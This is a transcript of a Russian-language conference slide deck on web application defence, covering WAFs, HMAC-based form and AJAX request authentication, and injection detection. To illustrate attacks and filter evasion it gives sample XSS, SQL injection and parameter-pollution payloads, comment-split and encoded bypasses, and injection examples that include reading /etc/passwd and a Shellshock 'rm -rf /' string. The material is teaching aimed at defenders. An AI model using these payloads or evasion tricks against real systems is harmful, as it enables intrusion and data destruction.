SibeCrypt 2016. Практические методы защиты веб-приложений
-
Upload
denis-kolegov -
Category
Engineering
-
view
372 -
download
0
Transcript of SibeCrypt 2016. Практические методы защиты веб-приложений
1. Веб-приложения
2. Защитные экраны
3. Аутентификация сообщений
4. Обнаружение инъекций
5. Применение технологий защиты
План
ptsecurity.com
Что такое веб-приложение?
ptsecurity.com
Определение5
Веб-приложение – клиент-серверное приложение, в котором клиентом является веб-браузер, а сервером – веб-сервер
Структура• Веб-браузер
• Веб-сервер
• Сервер приложений
• СУБД
ptsecurity.com
Как работает веб-приложение6
GET / HTTP/1.1Host: www.example.comConnection: close
HTTP/1.1 200 OKServer: nginxContent-Type: text/htmlContent-Length: 51Date: Mon, 29 Aug 2016 10:36:58 GMTConnection: close
<!DOCTYPE html><html><body><h1>Hello, World!</h1></body></html>
ptsecurity.com
Как работает веб-приложение7
GET /account/gtmData?include_events=1 HTTP/1.1Host: www.examle.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brCookie: it_csrf=1CCD0EE612B14C870DDBAA495D270606; _msuuid_i0w6e1n8s0=8B6C8DE7-C4D2-4B23-9DEF; Connection: close
HTTP/1.1 200 OKServer: nginxContent-Type: application/jsonContent-Length: 51Vary: Accept-EncodingDate: Mon, 29 Aug 2016 10:36:58 GMTConnection: close
{"environment":"prod","isMobile":false,"user":null}
ptsecurity.com
Особенности8
Огромное количество технологий и их реализаций
Доступность и распространенность
Простота использования
Низкий порог входа
• для злоумышленников
• для разработчиков
• для пентестеров/баг-хантеров
ptsecurity.com
Порог входа9
ptsecurity.com
Порог входа10
ptsecurity.com
Порог входа11
ptsecurity.com
Порог входа12
ptsecurity.com
Порог входа13
ptsecurity.com
Порог входа14
Что такое WAF?
Что такое WAF?5
HTTP
ptsecurity.com
Памятка по терминам
• То, что может сделать с информацией атакующий, называется угрозой (threat)
• То, где и благодаря чему он может это сделать, называется уязвимостью(vulnerability), обусловленной недостатком (weakness)
• То, как он может это сделать, называется атакой (attack)
• То, с какой вероятностью у него это удастся и какие последствия может повлечь, называется риском (risk)
• То, что не позволяет атакующему провести атаку, обеспечивает защищенность (security)
• То, что минимизирует риск, обеспечивает безопасность (safety)
17
ptsecurity.com
Причины и следствия18
ptsecurity.com
Недостаток Угроза
Уязвимость Атака
Риск
Незащищенность
Небезопасность
©Vladimir Kochetkov
Определения
An appliance, server plugin, or filter that applies a set of rules to an HTTP conversation
A security solution on the web application level which does not depend on the application itself
A security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components
19
ptsecurity.com
Web Application Firewall Evaluation Criteria
Как работает WAF20
ptsecurity.com
ptsecurity.com
Сервисы21
Обнаружение (Detection)
Защита (Protection)
Виртуальный патчинг (Virtual Patching )
Доставка приложений (Application Delivery)
ptsecurity.com
Сценарии использования22
Элемент многоуровневой защиты
В принципе невозможно устранить уязвимость в самом приложении
Необходимый функционал безопасности отсутствует в самом приложении и сложно реализуем
• Защита от подбора паролей
• Защита от DDoS-атак
• Управление доступом
• Защита от нежелательной автоматизации
Виртуальное устранение уязвимостей до реального устранения уязвимостей в исходном коде или конфигурации приложения
ptsecurity.com
Источники ограничений23
Множество технологий
Модель черного ящика
Стандарты
Развитие клиентской части веб-приложений
ptsecurity.com
Множество технологий24
• HTTP (0.9, 1.0, 1.1, 1.2), WebSockets, TLS/SSL, HTML, CSS, XML/SOAP, JSON
• HTTP/HTTPS security extensions: HSTS, CSP
• Load Balancers: F5 BIG-IP, Citrix NetScaler, …
• Web-servers: Apache, Nginx, IIS, GWS, …
• Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS …
• SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, …
• noSQL Databases: MongoDB, ElasticSearch, …
• Browsers: Chrome, Internet Explorer, Opera, Firefox, Safari, Yandex Browser
• JavaScript libraries: jQuery, lodash
• JavaScript Frameworks: Angular, React, Ext.js, Ember.js, …
ptsecurity.com
Модель черного ящика25
Веб-приложение - последовательность запросов и ответов
Непонимание контекста
Непонимание логики взаимодействия• Боты
• Взлом аккаунта
• Злоупотребления (abuse/misuse)
ptsecurity.com
Отсутствие стандартов26
GET /output.app?par1=1&par1=2&par1=3 HTTP/1.1Host: www.example.comConnection: close
HTTP/1.1 200 OKServer: nginxContent-Type: text/htmlContent-Length: 51Date: Mon, 29 Aug 2016 10:36:58 GMTConnection: close
?
//output.appfunction output(http){
return http.getParamValueByName("par1");}
Отсутствие стандартов27
ptsecurity.com
ptsecurity.com
Минута из жизни WAF28
CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Модель черного ящика29
CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF30
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF31
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF32
GET /app?pageId=1 HTTP/1.1Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF33
GET /app?pageId=1 HTTP/1.1Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF34
GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
ptsecurity.com
Минута из жизни WAF35
GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close
Forbidden
Минута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
36
ptsecurity.com
Минута из жизни WAF37
ptsecurity.com
function getID(request) {var rawID = request.getValue('id');var id = hexdecode(base64decode(rawID));return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d// id = <script>alert(1)</script>
Минута из жизни WAF38
ptsecurity.com
function getID(request) {var rawID = request.getValue('id');var id = hexdecode(base64decode(rawID));return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d// id = <script>alert(1)</script>
Минута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
39
ptsecurity.com
HTTP/1.1 200 OKX-XSS-Protection: 0Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close
<script>alert(1)</script>
ptsecurity.com
Минута из жизни WAF40
GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close
a({"c":"[email protected]"})
ptsecurity.com
Минута из жизни WAF41
GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close
a({"c":"[email protected]"})
ptsecurity.com
Минута из жизни WAF42
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ptsecurity.com
Минута из жизни WAF43
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ptsecurity.com
Минута из жизни WAF44
POST /app?page=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
page=<script>alert(1)</script>
ptsecurity.com
Минута из жизни WAF45
POST /app?page=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
page=<script>alert(1)</script>
ptsecurity.com
Минута из жизни WAF46
POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ptsecurity.com
Минута из жизни WAF47
POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
Аутентификация сообщений
ptsecurity.com
Аутентификация сообщений49
Протокол HTTP не имеет встроенных механизмов аутентификации сообщений
Аутентификация HTTP-сообщений• Аутентичность источника запроса (origin authentication)• Целостность имен и значений параметров
OWASP TOP 10 2013• A4 – Insecure Direct Object Reference• A7 – Missing Function Level Access Control• A8 – Cross-Site Request Forgery (CSRF)
Назначение• Защита приложения от анализа• Уменьшение поверхности атак на приложение• Противодействие средствам автоматизации• Предотвращение использования эксплойтов
HTTP
ptsecurity.com
Пример50
ptsecurity.com
Пример51
ptsecurity.com
Сценарии использования52
Аутентификация источника запроса
Контроль целостности скрытых полей форм
Контроль целостности формы
Валидация заданных полей в заданных формах
Контроль целостности AJAX-запросов
Аутентификация веб-форм
ptsecurity.com
В чем проблема?54
<html><body><form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]"><input type="submit" value="Send">
</form></body></html>
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
price=100&role=user&quantity=1&[email protected]
ptsecurity.com
Механизм защиты55
«Подписи запросов» API• Yahoo, Amazon S3, Facebook
WAF• ModSecurity: HMAC Token Protection• F5 Networks ASM: Dynamic Content Value• Citrix NetScaler: Form signature
ASP.NET Framework• Event Validation• View State MAC
ptsecurity.com
Как правильно56
В англоязычной литературе данный механизм защиты часто называют
• Form Signature• Form Signing• Request Signing
Терминологически это неверно: подпись подразумевает, что любой желающий может проверить истинность подписи, а в данном случае это может сделать только владелец секретного ключа
Корректный термин - аутентификация формы или запроса
ptsecurity.com
Элементарный протокол57
Client ← Server: p, h(k, p)Client → Server: p', h(k, p)Server: h(k, p) = h(k, p')
Параметры:• h – функция HMAC• p – значение параметра• k – секретный ключ сервера
ptsecurity.com
Элементарный протокол58
<html><body><form action="update" method="POST"><input type="text" name="p" value="100"><input type="submit" value="Send">
</form></body></html>
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
price=100
ptsecurity.com
Сложности на практике59
Содержание в формах большого количества полей
Различное представление форм для различных клиентов
Наличие в формах опциональных элементов• Checkbox• Option• Radio
Идентификация защищаемых форм в HTTP-ответах
Идентификация скрытых полей форм в HTTP-запросах
Генерация данных на стороне клиента
ptsecurity.com
Различное представление форм60
<form id="authform" action="https://auth.mail.ru/cgi-bin/auth?rand=584774" method="post"></form>
<form id="authform" action="https://auth.mail.ru/cgi-bin/auth?from=splash" method="post"></form>
<form id="authform" action="https://auth.mail.ru/cgi-bin/auth" method="post"></form>
POST /cgi-bin/auth?rand=584774 HTTP/1.1Host: auth.mail.ruContent-Type: application/x-www-form-urlencoded
login=user&password=user123456
ptsecurity.com
Опциональные элементы61
<form action="/demo/" method="post"><select name="cars"><option value="volvo">Volvo XC90</option><option value="saab">Saab 95</option><option value="mercedes">Mercedes SLK</option><option value="audi">Audi TT</option>
</select><input type="submit" value="Submit"></form>
POST /demo HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
cars=volvo
ptsecurity.com
Опциональные элементы62
<html><body><form action="/demo/" method="post"><input type="checkbox" name="vehicle" value="Bike"> I have a bike<br><input type="checkbox" name="vehicle" value="Car" checked> I have a car<br><input type="submit" value="Submit"></form>
</html></body>
POST /demo/ HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
vehicle=Bike&vehicle=Car
ptsecurity.com
Опциональные элементы63
<html><body><form action="/demo/" method="post"><input type="radio" name="gender" value="male">Male<br><input type="radio" name="gender" value="female">Female<br>
</form></body></html>
POST /demo/ HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
gender=male
ptsecurity.com
Скрытые поля64
<html><body><form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]"><input type="submit" value="Send">
</form></body></html>
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded
price=100&role=user&quantity=1&[email protected]
ptsecurity.com
Ограничения65
• Нельзя защитить формы, динамически сгенерированные на стороне клиента средствами JavaScript
• Необходимо различать запросы, отправленные средствами веб-форм от запросов AJAX
• Нельзя защитить формы, отправляемые на сервер методом GET
ptsecurity.com
Метод вычисления токена66
1. Построение Authentication Base String (ABS)
• Method
• URL
• Идентификатор сессии
• Параметры• Имя
• [Значение]
• [Тип]
• Tr(s, re) – операция удаления из строки s подстрок, соответствующих регулярному выражению re
• Tr("abc123", "[a-z]+" ) = "123"
ptsecurity.com
Метод вычисления токена67
2. Построение контейнеров формы
• Контейнер скрытых полей - HFC
HFC = {hp1_name, …, hpM_name}
• Контейнер опциональных полей - OFC
OFC = {
{op1_name, op1_value1, …, op1_valueN1},
…,
{opL_name, opL_value1, …, opL_valueNL}
}
ptsecurity.com
Метод вычисления токена68
3. Вычисление подписи
• signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time))
• k – секретный ключ
• time – текущее значение времени
ptsecurity.com
Метод проверки токена69
1. Парсинг входящего HTTP-запроса
2. Проверка метода запроса
3. Проверка наличия токена
4. Для POST-запроса по полученному URL выполняется поиск применяемой политики
5. Если политика найдена, то распаковываются данные из токена
6. Проверка опциональных и скрытых полей если они есть
7. Формирование ABS и его проверка
ptsecurity.com
Пример: исходная форма70
<html><body>
<form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]">
</form></body></html>
ptsecurity.com
Пример: генерация токена71
ABS = base64("#POST#/update#price:100:&role:user:&quantity::#")
HFC = "#price#role"
signature = HMAC(k, HFC · HMAC(k, ABS, time))
token = base64(HFC · signature · time)
ptsecurity.com
Пример: новая форма72
<html><body>
<form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]"><input type="hidden" name="token" value="2341234123…">
</form></body></html>
ptsecurity.com
Пример: аутентичный запрос73
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&[email protected]&token=2341234123…
ptsecurity.com
Пример: манипуляция с URL74
POST /create HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&[email protected]&=&token=2341234123…
ptsecurity.com
Пример: атака CSRF75
POST /delete HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&[email protected]&token=
ptsecurity.com
Пример: атака повтора76
POST /admin/delete_account HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=43538475283745823748572345374527345
user=100001&token=2341234123…
ptsecurity.com
Пример: атака на бизнес-логику77
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=-100&quantity=2&role=user&[email protected]&token=2341234123…
ptsecurity.com
Пример: атака HPP78
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&price=-100&token=2341234123…
ptsecurity.com
Пример: атака IDOR79
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=admin&[email protected]&token=2341234123…
ptsecurity.com
Пример: атака SQL Injection80
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2' OR '1'='1&role=user&token=2341234123…
ptsecurity.com
Пример: атака XSS81
POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
Аутентификация AJAX-запросов
ptsecurity.com
В чем проблема?83
var xhr = new XMLHttpRequest();var body = 'id' + encodeURIComponent(id);xhr.open('POST', '/submit', true)xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')xhr.onreadystatechange = ...;xhr.send(body);
POST /submit HTTP/1.1Host: server.comX-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencoded
id=754
ptsecurity.com
Инструментальный анализ84
http://www.slideshare.net/yalegko/whitebox-hmac-make-your-cipher-secure-to-whitebox-attacks
ptsecurity.com
White-Box Cryptography85
http://www.whiteboxcrypto.com/
ptsecurity.com
Метод защиты86
1. Для секретного ключа k генерируем код функции wbhmac на языке JavaScript, такой, что для всех строк s верно hmac(k, s) = wbhmac(s)
2. Выполняем обфускацию кода wbhmac
3. Выполняем перегрузку AJAX-методов так, чтобы каждый AJAX-запрос содержал токен, вычисленный по отправляемому запросу с помощью wbhmac
4. Разрешаем только AJAX-запросы с валидным токеном
ptsecurity.com
Метод защиты87
1. Для секретного ключа k генерируем код функции wbhmac на языке JavaScript, такой, что для всех строк s верно hmac(k, s) = wbhmac(s)
2. Выполняем обфускацию кода wbhmac
3. Выполняем перегрузку AJAX-методов так, чтобы каждый AJAX-запрос содержал токен, вычисленный по отправляемому запросу с помощью wbhmac
4. Разрешаем только AJAX-запросы с валидным токеном
ptsecurity.com
Гипотеза88
Если злоумышленник не знает секретного ключа k, то для инструментального анализа веб-приложения (поиска уязвимостей) ему необходимо успешно решить одну из следующих задач:
• вычислить ключ k, выполнив атаку на криптографическую хеш-функцию
• восстановить ключ k по коду функции wbhmac
• написать транслятор, автоматически преобразующий код wbhmac в код расширения для средства анализа (например, для Burp Suite или ZAP)
ptsecurity.com
Аутентификация сообщений89
Общая схема аутентификации веб-форм
Валидация данных, вводимых в форму на клиентской стороне
Защита AJAX-запросов от средств инструментального анализа на клиентской стороне
Обнаружение инъекций
Механика обнаружения атак91
ptsecurity.com
Normalization
Negative security model (Blacklisting)
• Signature-based (regular expressions, text)
• Syntax-based
• Rule-based
Positive security model (Whitelisting)
• Rule-based
• Static Profiling
• Dynamic Profiling
• Machine learning
Extension API Web Application Firewall Evaluation Criteria
Основной признак инъекции
ptsecurity.com
Признак уязвимости к инъекции93
Алгоритм формирования выходных данных DOUTPUT на основе входных данныхDINPUT уязвим к атаке инъекции, если от содержимого DINPUT зависит количествоузлов в дереве разбора (parse tree) для DOUTPUT
ptsecurity.com
Пример94
http://example.com/foo.html#1
http://example.com/foo.html#1;alert(1);
var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
<script> var foo = 1; <script>
ptsecurity.com
Пример95
var foo = 1; var foo = 1; alert(1);
Примеры инъекций
SQL: id=42' or 1=1-- -
HTML: 111"><a href = "//evil.com">
JavaScript: 1"; alert(document.domain);//
Shell Command Injection: 192.168.10.1 && cat /etc/passwd
LDAP Injection: admin)|((userpassword=*)
XPath Injection: user' or name()='admin' or 'x'='y
Shellshock: test () { :; }; rm –rf /
96
HTTP
ptsecurity.com
Нормализация
Нормализация98
ptsecurity.com
Одни и те же данные могут быть интерпретированы по разному
Нормализация – процесс преобразования данных к формату защищаемого веб-приложения
Кодирование• URL decoding• Null-byte string termination• BASE64 decoding• HTML entities decoding• IIS-specific Unicode encoding• Double encoding
Парсинг• URL Path• HTTP Parameters• Hostname
ptsecurity.com
Пример99
GET /update?id=1+union+select+1/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
ptsecurity.com
Пример100
GET /update?id=1+un/**/ion+se/**/lect+1/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
ptsecurity.com
Пример101
GET /update?id=1;select+1&id=2,3/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
ASP.NET/IISid = 1;SELECT 1,2,3 /*
PHP/Apacheid = 2,3 /*
ptsecurity.com
Пример102
GET /update?id=\u003csvg%2fonload=alert(1)\u003e HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
Обработка Path103
ptsecurity.com
HTTP Parameter Pollution104
ptsecurity.com
HTTP Parameter Contamination105
ptsecurity.com
Нормализация106
ptsecurity.com
T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding Network Intrusion Detection. Secure Networks, Inc. 1998.
